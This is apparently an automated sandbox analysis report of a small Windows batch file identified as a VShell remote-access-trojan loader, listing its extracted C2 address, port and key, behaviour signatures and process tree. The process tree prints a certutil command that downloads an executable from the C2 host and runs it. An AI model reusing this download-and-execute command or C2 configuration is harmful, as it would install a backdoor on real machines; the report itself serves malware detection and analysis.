Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/09/2026, 06:25

General

  • Target
    windows.bat
  • Size 493B
  • Sample260927-g63p2aae76
  • SHA256 72d6bdce7b0018554dc012112c2ca58aea987a52dca5073bc792222a8fad8d6e
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • vshell

C2
  • ws://43.136.40.48

Attributes
  • port

    8088

  • salt

    qwe123qwe

  • type

    ws

  • vkey

    qwe123qwe

Signatures

  • Family: VShell

    VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.

  • Detects VSHELL Backdoor 1 IoCs
  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1096
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic os get osarchitecture
        3⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:852
      • C:\Windows\system32\findstr.exe
        findstr 64
        3⤵
          PID:3408
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -split -f "http://43.136.40.48:8088/?h=43.136.40.48&p=8088&t=ws&a=w64&stage=true" "C:\Users\Public\e0b8a6e0ws.exe"
        2⤵
        • Downloads MZ/PE file
        PID:3020
      • C:\Users\Public\e0b8a6e0ws.exe
        "C:\Users\Public\e0b8a6e0ws.exe"
        2⤵
        • Executes dropped EXE
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2808

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e0b8a6e0ws.exe

          • Path C:\Users\Public\e0b8a6e0ws.exe
          • Size 4KB
          • SHA256 eef2ce3de825b624a1abaa97c22417a25a17f1d52563e6f2c7b0153a4dfa392b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2808-7-0x0000000067D40000-0x0000000068534000-memory.dmp